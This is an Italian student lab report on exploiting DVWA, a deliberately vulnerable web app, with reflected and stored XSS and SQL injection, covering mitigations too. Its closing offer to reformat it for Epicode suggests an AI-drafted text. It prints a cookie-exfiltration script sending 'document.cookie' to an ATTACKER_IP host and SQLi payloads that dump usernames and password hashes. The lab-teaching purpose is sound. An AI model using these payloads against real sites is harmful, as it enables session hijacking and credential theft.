

Exploit DVWA: XSS e SQL Injection

Studente: Simone Santonico

Data: 12/05/2026

1. Obiettivo

- Sfruttare le vulnerabilità **XSS** e **SQL Injection** presenti in **Damn Vulnerable Web Application (DVWA)**.
- Documentare: contesto, payload usati, impatto e possibili mitigazioni.

2. Ambiente di laboratorio

Componenti principali:

- **Sistema attaccante:**
 - Kali Linux (o equivalente) in VM.
- **Sistema target:**
 - DVWA installato su server web (es. <http://192.168.x.x/dvwa/>).
- **Credenziali DVWA (default):**
 - **Username:** `admin`
 - **Password:** `password`
- **Configurazione DVWA:**
 - Menu **DVWA Security** → **security level: Low** (per semplicità iniziale).

3. XSS (Cross-Site Scripting)

3.1. Descrizione vulnerabilità

XSS:

- Permette di iniettare codice JavaScript in pagine web visualizzate da altri utenti.
- Impatto: furto di cookie/sessioni, defacement, redirectioni malevole, esecuzione di azioni a nome della vittima.

3.2. XSS Reflected – Procedura

Passi:

1. **Login** in DVWA come **admin**.
2. Dal menu laterale, selezionare “**XSS (Reflected)**”.

Nel campo di input (es. “Name”), inserire un payload di test:

```
<script>alert('XSS');</script>
```

- 3.
4. Cliccare su **Submit**.

Risultato atteso:

- Viene mostrato un **popup JavaScript** con il messaggio **XSS**.
- Ciò dimostra che l'input viene riflesso nella risposta HTML senza sanitizzazione/escaping.

3.3. XSS Stored – Procedura

Passi:

1. Dal menu DVWA, selezionare “**XSS (Stored)**”.
2. Compilare i campi, ad esempio:

- **Name:** **test**

Message:

```
<script>alert('stored XSS');</script>
```

-
- 3. Cliccare su **Sign Guestbook**.

Risultato atteso:

- Ogni volta che si ricarica la pagina del guestbook, compare il popup **stored XSS**.
- Il payload è **memorizzato nel database** e servito a ogni utente che visualizza la pagina.

3.4. Impatto XSS

Impatto potenziale:

Furto cookie di sessione:

```
<script>
var i = new Image();
i.src = 'http://ATTACKER_IP/steal.php?c=' + document.cookie;
</script>
```

-
- **Esecuzione di azioni a nome dell'utente loggato** (se combinato con CSRF o API interne).

3.5. Mitigazioni XSS

- **Validazione input lato server:**
 - Consentire solo caratteri ammessi (whitelist).
- **Output encoding:**
 - Escapare `<`, `>`, `"`, `'` prima di stampare dati utente in HTML.
- **Content Security Policy (CSP):**
 - Limitare l'esecuzione di script a domini fidati.
- **Disabilitare inline JavaScript** dove possibile.

4. SQL Injection (SQLi)

4.1. Descrizione vulnerabilità

SQL Injection:

- L'applicazione concatena direttamente input utente nelle query SQL.
- Impatto: lettura/scrittura dati, bypass autenticazione, fino a RCE in scenari avanzati.

4.2. SQLi – Test iniziale

Passi:

1. Dal menu DVWA, selezionare **“SQL Injection”**.

Nel campo **User ID**, inserire:

1'

- 2.
3. Cliccare su **Submit**.

Risultato atteso:

- Possibile errore SQL o comportamento anomalo → indica che l'input viene inserito nella query senza sanitizzazione.

4.3. SQLi – Bypass e enumerazione

Bypass autenticazione / estrazione dati:

Nel campo **User ID**, inserire:

1' OR '1'='1

1.

Oppure per enumerare utenti (esempio tipico):

1' UNION SELECT user, password FROM users #

2.

Risultato atteso:

- La pagina mostra record aggiuntivi, ad esempio username e hash delle password presenti nella tabella **users**.
- Dimostra la possibilità di **modificare la query originale** tramite **UNION**.

4.4. Impatto SQLi

- **Confidenzialità**: lettura di dati sensibili (utenti, password hash, email, ecc.).
- **Integrità**: modifica o cancellazione di dati.
- **Disponibilità**: possibile danneggiamento del database.
- In contesti reali, SQLi può portare a **esecuzione di comandi sul sistema** (RCE) tramite funzioni del DB o scrittura di web shell.

4.5. Mitigazioni SQLi

- **Prepared statements / query parametrizzate**:
 - Usare **PDO** o **mysqli** con **bind_param** invece di concatenare stringhe.
- **Validazione input**:
 - Accettare solo valori attesi (es. numeri per ID).
- **Least privilege**:
 - L'utente DB usato dall'app non deve avere permessi di amministrazione.

- **WAF / IDS:**
 - Regole per intercettare pattern tipici di SQLi.

5. Conclusioni

Sintesi:

- DVWA, a livello di sicurezza basso, è deliberatamente vulnerabile a **XSS** e **SQL Injection**.
- Con semplici payload è possibile:
 - Eseguire JavaScript nel browser della vittima (XSS riflesso e stored).
 - Manipolare query SQL per leggere dati sensibili (SQLi con **UNION**).
- In un contesto reale, queste vulnerabilità rappresentano un rischio elevato per la sicurezza di utenti e dati.

Se vuoi, nel prossimo passo posso aiutarti a trasformare questo testo in un PDF stile “report d’esame” con struttura formale (copertina, indice, ecc.) o adattarlo esattamente al template richiesto da Epicode.